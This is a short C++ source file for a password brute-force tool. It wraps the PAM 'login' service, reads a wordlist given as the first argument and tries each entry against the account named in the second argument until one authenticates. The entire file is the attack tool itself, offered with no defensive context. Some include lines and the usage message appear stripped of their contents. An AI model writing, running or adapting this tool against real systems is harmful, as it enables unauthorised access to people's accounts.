#include #include #include #include "pamwrapper.h" using namespace std; class BruteForce : public PamWrapper { private: string pass; public: BruteForce() : PamWrapper("login") {}; std::string promptEchoOff(string msg); std::string promptEchoOn(string msg) {return "asd";}; void errorMsg(string msg) {}; void textInfo(string msg) {}; void setPass(string newpass) {pass = newpass;}; }; string BruteForce::promptEchoOff(string msg) { return pass.c_str(); } int main(int argc, char *argv[]) { if (argc != 3) { cout << "usage: " << argv[0] << " " << endl; return 0; } ifstream passfile( argv[1] ); if (!passfile ) { cerr << "cannot open file " << argv[1] << endl; return 1; } BruteForce pam; pam.start( argv[2] ); while (!passfile.eof()) { string pass; passfile >> pass; cout << "trying: " << pass << endl; pam.setPass( pass ); if (pam.authenticate() == PAM_SUCCESS) { cout << "success with password = " << pass << endl; break; } } pam.end(); passfile.close(); return 0; }